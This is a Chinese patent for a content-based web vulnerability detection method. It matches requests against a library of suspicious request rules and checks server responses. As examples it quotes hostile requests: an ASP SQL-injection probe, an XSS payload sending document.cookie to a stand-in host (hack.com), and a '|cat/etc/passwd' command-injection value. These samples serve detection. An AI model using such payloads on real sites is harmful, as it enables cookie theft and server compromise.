CN105404816B - 基于内容的漏洞检测方法及装置 - Google Patents

Abstract

本发明公开了一种基于内容的漏洞检测方法及装置，涉及互联网技术领域，解决了现有技术中的漏洞检测方法的时间及资源开销较大的问题。本发明的方法包括：对发送给待检测目标的请求的可疑请求脚本规则进行分析；获取待检测目标针对所述请求返回的数据；判断所述数据是否符合所述请求脚本规则要求返回的结果；若判断结果为是，则确定待检测目标具有漏洞。本发明主要用于根据请求规则及响应内容初步确定漏洞类型，达到降低漏洞检测的时间及资源开销的效果。

Description

基于内容的漏洞检测方法及装置

技术领域

本发明涉及互联网技术领域，特别是涉及一种基于内容的漏洞检测方法及装置。

背景技术

由于现有的网络环境中会存在大量的漏洞，因此为了防止漏洞被人恶意利用而导致数据丢失或篡改、隐私泄露乃至金钱上的损失，如网站因漏洞被入侵，网站用户数据被泄露、网站功能可能遭到破坏而中止甚至服务器本身被入侵者控制，并且随着时间的推移，旧的漏洞会不断消失，新的漏洞会不断出现，漏洞问题也会长期存在。因此，在实际情况下，通常需要对漏洞进行不定期的检测。

在现有的漏洞检测方式中，需要使用漏洞检测模块进行注入点分析、模拟攻击行为以及获取攻击结果，整套流程比较复杂。例如，由于每次对于注入点的查询都是要查询数据库来判断，而一旦数据库中的记录很多的话，对于持久化的数据的读写时间开销很大；此外，对于数据库中有N个漏洞样例的情况而言，程序需要将攻击结果与N个漏洞样例进行对比，这样的检测时间开销也是巨大的。

发明内容

有鉴于此，本发明提出了一种基于内容的漏洞检测方法及装置，主要目的在于解决现有技术中的漏洞检测方法的时间及资源开销较大的问题。

依据本发明的第一个方面，本发明提供一种基于内容的漏洞检测方法，包括：

对发送给待检测目标的请求的可疑请求脚本规则进行分析；

获取待检测目标针对所述请求返回的数据；

判断所述数据是否符合所述可疑请求脚本规则要求返回的结果；

若判断结果为是，则确定待检测目标具有漏洞。

依据本发明的第二个方面，本发明提供一种基于内容的漏洞检测装置，包括：

分析单元，用于对发送给待检测目标的请求的可疑请求脚本规则进行分析；

获取单元，用于获取待检测目标针对所述请求返回的数据；

判断单元，用于判断所述数据是否符合所述可疑请求脚本规则要求返回的结果；

确定单元，用于当判断结果为是时，确定待检测目标具有漏洞。

借由上述技术方案，本发明实施例提供的一种基于内容的漏洞检测方法及装置，能够通过对发送给待检测目标的请求的可疑请求脚本规则进行分析，获取待检测目标针对所述请求返回的数据，并判断所述数据是否符合所述请求脚本规则要求返回的结果，若判断结果为是，则确定待检测目标具有漏洞。而在现有技术中进行漏洞检测时，需要使用漏洞检测模块进行注入点分析、模拟攻击行为以及获取攻击结果，整套流程比较复杂，并且每次对于注入点的查询都是要查询数据库来判断，而一旦数据库中的记录很多的话，对于持久化的数据的读写时间开销很大；此外，对于数据库中有N个漏洞样例的情况而言，程序需要将攻击结果与N个漏洞样例进行对比，这样的检测时间及资源开销也是巨大的。因此，与现有的检测漏洞时资源及时间开销较大的缺陷相比，本发明实施例只需要确定请求中的可疑规则以及返回的内容，当实际返回的内容与可疑请求预期的内容相匹配时，则确定存在漏洞。

上述说明仅是本发明技术方案的概述，为了能够更清楚了解本发明的技术手段，而可依照说明书的内容予以实施，并且为了让本发明的上述和其它目的、特征和优点能够更明显易懂，以下特举本发明的具体实施方式。

附图说明

通过阅读下文优选实施方式的详细描述，各种其他的优点和益处对于本领域普通技术人员将变得清楚明了。附图仅用于示出优选实施方式的目的，而并不认为是对本发明的限制。而且在整个附图中，用相同的参考符号表示相同的部件。在附图中：

图1示出了本发明实施例提供的一种基于内容的漏洞检测方法的流程图；

图2示出了本发明实施例提供的一种基于内容的漏洞检测装置的组成框图；

图3示出了本发明实施例提供的另一种基于内容的漏洞检测装置的组成框图。

具体实施方式

下面将参照附图更加详细地描述本公开的示例性实施例。虽然附图中显示了本公开的示例性实施例，然而应当理解，可以以各种形式实现本公开而不应被这里阐述的实施例所限制。相反，提供这些实施例是为了能够更透彻地理解本公开，并且能够将本公开的范围完整的传达给本领域的技术人员。

在现有的漏洞检测方式中，需要使用漏洞检测模块进行注入点分析、模拟攻击行为以及获取攻击结果，整套流程比较复杂,每次对于注入点的查询都是要查询数据库来判断，一旦数据库中的记录很多，那么对于持久化的数据读写的时间开销很大；并且当数据库中有N个漏洞样例时，程序需要将攻击结果与N个漏洞样例进行对比，这样的检测时间及资源开销也是巨大的。

为了解决现有技术中的漏洞检测方法的时间及资源开销较大的问题，本发明实施例提供了一种基于内容的漏洞检测方法，能够根据请求规则及响应内容初步确定漏洞类型，达到降低漏洞检测的时间及资源开销的效果。如图1所示，该方法包括：

101、对发送给待检测目标的请求的可疑请求脚本规则进行分析。

由于漏洞是系统存在的弱点或缺陷，其可能来自于应用软件或操作系统设计时的缺陷或编码时产生的错误，也可能来自业务在交互处理过程中的设计缺陷或逻辑流程上的不合理之处，因此漏洞普遍存在。通常对于一些简单的漏洞都可以通过扫描器触发并发现这些漏洞，但是对于复杂的隐藏较深的漏洞通常通过扫描器无法触发，因此不易发现。此时，一些恶意攻击者会手动编写代码去触发这些漏洞，通常具有这些代码的请求都有一定的规则，与正常的请求规则不同，但是比较隐蔽不易发现。因此，在大量的请求中通常隐藏有可疑请求，其有可能是恶意请求，也有可能不是恶意请求。因此，本发明实施例在检测漏洞时，作为对漏洞的初步判断，需要执行步骤101对发送给待检测目标的请求的可疑请求脚本规则进行分析。

102、获取待检测目标针对所述请求返回的数据。

由于恶意请求通常都会按照请求的不同从目标获取特定的数据，通过在步骤101中分析向待检测目标发送的请求得到的可疑请求脚本规则，可以预估出所述可疑请求脚本规则期望目标返回的数据。为了检测目标是否具有漏洞，也就是待检测目标是否能够按照可疑请求脚本规则向所述请求返回其期望得到的数据。因此，本发明实施例在步骤101之后，还需要执行步骤102获取待检测目标针对所述请求返回的数据。

103、判断所述数据是否符合所述可疑请求脚本规则要求返回的结果。

当在步骤102中获取到待检测目标针对所述请求返回的数据之后，还需要将实际情况下针对所述请求返回的数据与理论上可疑请求脚本规则期望返回的数据进行比对，判断针对所述请求返回的数据是否符合所述可疑请求脚本规则要求返回的结果。

104、若判断结果为是，则确定待检测目标具有漏洞。

由于具有可疑脚本规则的请求通常是利用漏洞的特点而恶意从目标获取特定类型的数据，若目标没有该漏洞，则具有可疑脚本规则的请求是无法从目标获取该特定类型的数据的。因此，当在步骤103中判断针对所述请求返回的数据与所述可疑请求脚本规则要求返回的结果相符时，可以初步确定待检测目标具有漏洞。

本发明实施例提供的一种基于内容的漏洞检测方法，能够通过对发送给待检测目标的请求的可疑请求脚本规则进行分析，获取待检测目标针对所述请求返回的数据，并判断所述数据是否符合所述请求脚本规则要求返回的结果，若判断结果为是，则确定待检测目标具有漏洞。而在现有技术中进行漏洞检测时，需要使用漏洞检测模块进行注入点分析、模拟攻击行为以及获取攻击结果，整套流程比较复杂，并且每次对于注入点的查询都是要查询数据库来判断，而一旦数据库中的记录很多的话，对于持久化的数据的读写时间开销很大；此外，对于数据库中有N个漏洞样例的情况而言，程序需要将攻击结果与N个漏洞样例进行对比，这样的检测时间及资源开销也是巨大的。因此，与现有的检测漏洞时资源及时间开销较大的缺陷相比，本发明实施例只需要确定请求中的可疑规则以及返回的内容，当实际返回的内容与可疑请求预期的内容相匹配时，则确定存在漏洞。

为了更好的对上述图1所示的方法进行理解，作为对上述实施方式的细化和扩展，本发明实施例将针对图1中的步骤进行详细说明。

在实际情况下，漏洞的种类有多种，并且针对不同类型的漏洞发送的恶意请求的请求脚本规则也不同，其期望获取到的内容也不同。随着人们对漏洞越来越重视，对漏洞的认识及检测也越来越全面，因此，人们已经获取到大量不同类型的漏洞以及针对不同类型漏洞发送的恶意请求的请求脚本规则，这些已知的恶意请求脚本规则对人们预判一般请求是否可疑具有十分重要的参考价值。因此，本发明实施例在对发送给待检测目标的请求的可疑请求脚本规则进行分析时，可以利用本发明实施例提供的可疑请求库，在可疑请求库中查找其中是否具有所述发送给待检测目标的请求的可疑请求脚本规则，所述可疑请求库中记录有针对各种类型漏洞发送的恶意请求脚本规则，也就是判断向待检测目标发送请求的请求脚本规则是否存在于所述可疑请求库中，若存在则向待检测目标发送的请求为可疑请求。

当向待检测目标发送请求之后，就需要获取待检测目标针对所述请求返回的数据，若待检测目标具有漏洞，则待检测目标返回的数据应该与所述请求的可疑请求脚本规则所期望返回的数据类型一致。因此，为了初步确定待检测目标是否具有漏洞，本发明实施例需要判断待检测目标返回的数据是否符合所述可疑请求脚本规则要求返回的结果。

由于针对不同类型的漏洞所发送请求的请求脚本规则不同，并且针对不同脚本的请求的报错形式也不同。因此，在判断待检测目标返回的数据是否符合所述可疑请求脚本规则要求返回的结果的过程中，需要获取所述可疑请求脚本规则对应的脚本漏洞类型，然后根据所述脚本漏洞类型确定期望返回数据的格式，最后通过判断待检测目标返回的数据与期望返回数据的格式是否匹配来确定待检测目标是否具有漏洞。

例如，对于使用ASP脚本开发的目标而言，由于ASP脚本的方便易用，越来越多的网站后台程序都使用ASP脚本语言。而对于那些因为过滤字符不严的ASP页面而言，通过脚本对因过滤字符不严的ASP页面构造url，能猜测常用表名、字段名和用户、密码等。对于请求http：//ip/list.asp？id＝1and 1＝1或http：//ip/list.asp？id＝1and 1＝0，如页面正常返回并且返回字符串列表时，则说明页面字符过滤不严，存在漏洞(数据查询漏洞)。或者，当请求中具有inc搜索对象时，说明可能有人利用搜索引擎对这些网页进行查找，得到有关inc文件的定位，并能在浏览器中查看到数据库地点和结构的细节，并以此揭示完整的源代码(文件读取漏洞)。或者，当请求中具有some.asp.bak搜索对象时，说明可能有人要下载some.asp的源程序。

例如，对于PHP脚本而言，其存在的漏洞主要包括命令注入、跨站脚本攻击、SQL注入，Session会话劫持等。对于请求格式类似于http://www.xxx.org/ex1.php？is_admin＝true的请求，说明可能有人希望绕过check_admin()的验证通过表单提交变量(命令执行漏洞)。或者对于http://www.xxx.org/search.php？key＝<script>document.location＝’http://www.hack.com/getcookie.hph？cookie＝’+document.cookie；</script>的这类请求，说明有人希望获取用户的cookies值(XSS漏洞)。或者，对于提交的格式类似http://www.xxx.org/exl.php？dir＝|cat/etc/passwd的请求，说明可能有人希望获取密码信息。

当通过上述方式确定了可疑请求脚本规则期望返回的结果之后，就将待检测目标针对所述请求返回的数据与确定的可疑请求脚本规则期望返回的结果进行比对，若两者相符，则可以初步确定待检测目标具有漏洞，并且根据所述可疑请求脚本规则以及针对所述请求返回的数据的内容和格式，可以初步确定待检测目标具有的漏洞类型。如通过上所述的可疑请求脚本规则可以确定的漏洞类型就具有文件读取漏洞、数据查询漏洞、命令执行漏洞、XSS漏洞等。

通过上述方式初步确定待检测目标具有的漏洞后，为了进一步确保检测结果的准确性，本发明实施例在确定待检测目标具有漏洞之后，还可以将所述请求及其针对所述请求返回的数据在漏洞规则库中进行匹配；若所述请求及其针对所述请求返回的数据的格式与所述漏洞规则库中记录的某一类型漏洞的规则相匹配，则确定待检测目标存在所述某一类型的漏洞。

进一步的，作为对上述图1所示方法的实现，本发明实施例提供了一种基于内容的漏洞检测装置，如图2所示，该装置包括：分析单元21、获取单元22、判断单元23以及确定单元24，其中，

分析单元21，用于对发送给待检测目标的请求的可疑请求脚本规则进行分析；

获取单元22，用于获取待检测目标针对所述请求返回的数据；

判断单元23，用于判断所述数据是否符合所述可疑请求脚本规则要求返回的结果；

确定单元24，用于当判断结果为是时，确定待检测目标具有漏洞。

进一步的，分析单元21用于在可疑请求库中查找是否具有发送给待检测目标的请求的可疑请求脚本规则，所述可疑请求库中记录有针对各种类型漏洞发送的恶意请求脚本规则。

进一步的，如图3所示，判断单元23包括：

获取模块231，用于获取所述可疑请求脚本规则对应的脚本漏洞类型；

确定模块232，用于根据所述脚本漏洞类型确定期望返回数据的格式；

判断模块233，用于判断所述数据与确定的期望返回数据的格式是否匹配。

进一步的，确定单元24用于根据所述可疑请求脚本规则及针对所述请求返回的数据确定待检测目标具有的漏洞类型。

进一步的，如图3所示，所述装置还包括：

验证单元25，用于将所述请求及其针对所述请求返回的数据在漏洞规则库中进行匹配；

确定单元24用于当所述请求及其针对所述请求返回的数据的格式与所述漏洞规则库中记录的某一类型漏洞的规则相匹配时，确定待检测目标存在所述某一类型的漏洞。

本发明实施例提供的一种基于内容的漏洞检测装置，能够通过对发送给待检测目标的请求的可疑请求脚本规则进行分析，获取待检测目标针对所述请求返回的数据，并判断所述数据是否符合所述请求脚本规则要求返回的结果，若判断结果为是，则确定待检测目标具有漏洞。而在现有技术中进行漏洞检测时，需要使用漏洞检测模块进行注入点分析、模拟攻击行为以及获取攻击结果，整套流程比较复杂，并且每次对于注入点的查询都是要查询数据库来判断，而一旦数据库中的记录很多的话，对于持久化的数据的读写时间开销很大；此外，对于数据库中有N个漏洞样例的情况而言，程序需要将攻击结果与N个漏洞样例进行对比，这样的检测时间及资源开销也是巨大的。因此，与现有的检测漏洞时资源及时间开销较大的缺陷相比，本发明实施例只需要确定请求中的可疑规则以及返回的内容，当实际返回的内容与可疑请求预期的内容相匹配时，则确定存在漏洞。

此外，本发明实施例在初步确定待检测目标具有的漏洞后，进一步通过漏洞规则库将所述请求及其针对所述请求返回的数据进行匹配，作为对初步确定的漏洞的验证，从而确保漏洞检测结果的准确性。

在上述实施例中，对各个实施例的描述都各有侧重，某个实施例中没有详述的部分，可以参见其他实施例的相关描述。

可以理解的是，上述方法及装置中的相关特征可以相互参考。另外，上述实施例中的“第一”、“第二”等是用于区分各实施例，而并不代表各实施例的优劣。

所属领域的技术人员可以清楚地了解到，为描述的方便和简洁，上述描述的系统，装置和单元的具体工作过程，可以参考前述方法实施例中的对应过程，在此不再赘述。

在此提供的算法和显示不与任何特定计算机、虚拟系统或者其它设备固有相关。各种通用系统也可以与基于在此的示教一起使用。根据上面的描述，构造这类系统所要求的结构是显而易见的。此外，本发明也不针对任何特定编程语言。应当明白，可以利用各种编程语言实现在此描述的本发明的内容，并且上面对特定语言所做的描述是为了披露本发明的最佳实施方式。

在此处所提供的说明书中，说明了大量具体细节。然而，能够理解，本发明的实施例可以在没有这些具体细节的情况下实践。在一些实例中，并未详细示出公知的方法、结构和技术，以便不模糊对本说明书的理解。

类似地，应当理解，为了精简本公开并帮助理解各个发明方面中的一个或多个，在上面对本发明的示例性实施例的描述中，本发明的各个特征有时被一起分组到单个实施例、图、或者对其的描述中。然而，并不应将该公开的方法解释成反映如下意图：即所要求保护的本发明要求比在每个权利要求中所明确记载的特征更多的特征。更确切地说，如下面的权利要求书所反映的那样，发明方面在于少于前面公开的单个实施例的所有特征。因此，遵循具体实施方式的权利要求书由此明确地并入该具体实施方式，其中每个权利要求本身都作为本发明的单独实施例。

本领域那些技术人员可以理解，可以对实施例中的设备中的模块进行自适应性地改变并且把它们设置在与该实施例不同的一个或多个设备中。可以把实施例中的模块或单元或组件组合成一个模块或单元或组件，以及此外可以把它们分成多个子模块或子单元或子组件。除了这样的特征和/或过程或者单元中的至少一些是相互排斥之外，可以采用任何组合对本说明书(包括伴随的权利要求、摘要和附图)中公开的所有特征以及如此公开的任何方法或者设备的所有过程或单元进行组合。除非另外明确陈述，本说明书(包括伴随的权利要求、摘要和附图)中公开的每个特征可以由提供相同、等同或相似目的的替代特征来代替。

此外，本领域的技术人员能够理解，尽管在此所述的一些实施例包括其它实施例中所包括的某些特征而不是其它特征，但是不同实施例的特征的组合意味着处于本发明的范围之内并且形成不同的实施例。例如，在下面的权利要求书中，所要求保护的实施例的任意之一都可以以任意的组合方式来使用。

本发明的各个部件实施例可以以硬件实现，或者以在一个或者多个处理器上运行的软件模块实现，或者以它们的组合实现。本领域的技术人员应当理解，可以在实践中使用微处理器或者数字信号处理器(DSP)来实现根据本发明实施例的发明名称(如确定网站内链接等级的装置)中的一些或者全部部件的一些或者全部功能。本发明还可以实现为用于执行这里所描述的方法的一部分或者全部的设备或者装置程序(例如，计算机程序和计算机程序产品)。这样的实现本发明的程序可以存储在计算机可读介质上，或者可以具有一个或者多个信号的形式。这样的信号可以从因特网网站上下载得到，或者在载体信号上提供，或者以任何其他形式提供。

应该注意的是上述实施例对本发明进行说明而不是对本发明进行限制，并且本领域技术人员在不脱离所附权利要求的范围的情况下可设计出替换实施例。在权利要求中，不应将位于括号之间的任何参考符号构造成对权利要求的限制。单词“包含”不排除存在未列在权利要求中的元件或步骤。位于元件之前的单词“一”或“一个”不排除存在多个这样的元件。本发明可以借助于包括有若干不同元件的硬件以及借助于适当编程的计算机来实现。在列举了若干装置的单元权利要求中，这些装置中的若干个可以是通过同一个硬件项来具体体现。单词第一、第二、以及第三等的使用不表示任何顺序。可将这些单词解释为名称。

Claims (6)

1.一种基于内容的漏洞检测方法，其特征在于，所述方法包括：

在可疑请求库中查找是否具有发送给待检测目标的请求的可疑请求脚本规则，所述可疑请求库中记录有针对各种类型漏洞发送的恶意请求脚本规则；

若有所述可疑请求脚本规则，则获取待检测目标针对所述请求返回的数据；

判断所述数据是否符合所述可疑请求脚本规则要求返回的结果；

若判断结果为是，则确定待检测目标具有漏洞；

将所述请求及其针对所述请求返回的数据在漏洞规则库中进行匹配；

若所述请求及其针对所述请求返回的数据的格式与所述漏洞规则库中记录的某一类型漏洞的规则相匹配，则确定待检测目标存在所述某一类型的漏洞。

2.根据权利要求1所述的方法，其特征在于，判断所述数据是否符合所述可疑请求脚本规则要求返回的结果包括：

获取所述可疑请求脚本规则对应的脚本漏洞类型；

根据所述脚本漏洞类型确定期望返回数据的格式；

判断所述数据与确定的期望返回数据的格式是否匹配。

3.根据权利要求1所述的方法，其特征在于，所述若判断结果为是，则确定待检测目标具有漏洞包括：

若判断结果为是，则根据所述可疑请求脚本规则及针对所述请求返回的数据确定待检测目标具有的漏洞类型。

4.一种基于内容的漏洞检测装置，其特征在于，所述装置包括：

分析单元，用于在可疑请求库中查找是否具有发送给待检测目标的请求的可疑请求脚本规则，所述可疑请求库中记录有针对各种类型漏洞发送的恶意请求脚本规则；

获取单元，用于当有所述可疑请求脚本规则时，获取待检测目标针对所述请求返回的数据；

判断单元，用于判断所述数据是否符合所述可疑请求脚本规则要求返回的结果；

确定单元，用于当判断结果为是时，确定待检测目标具有漏洞；

验证单元，用于将所述请求及其针对所述请求返回的数据在漏洞规则库中进行匹配；

所述确定单元用于当所述请求及其针对所述请求返回的数据的格式与所述漏洞规则库中记录的某一类型漏洞的规则相匹配时，确定待检测目标存在所述某一类型的漏洞。

5.根据权利要求4所述的装置，其特征在于，所述判断单元包括：

获取模块，用于获取所述可疑请求脚本规则对应的脚本漏洞类型；

确定模块，用于根据所述脚本漏洞类型确定期望返回数据的格式；

判断模块，用于判断所述数据与确定的期望返回数据的格式是否匹配。

6.根据权利要求4所述的装置，其特征在于，所述确定单元用于根据所述可疑请求脚本规则及针对所述请求返回的数据确定待检测目标具有的漏洞类型。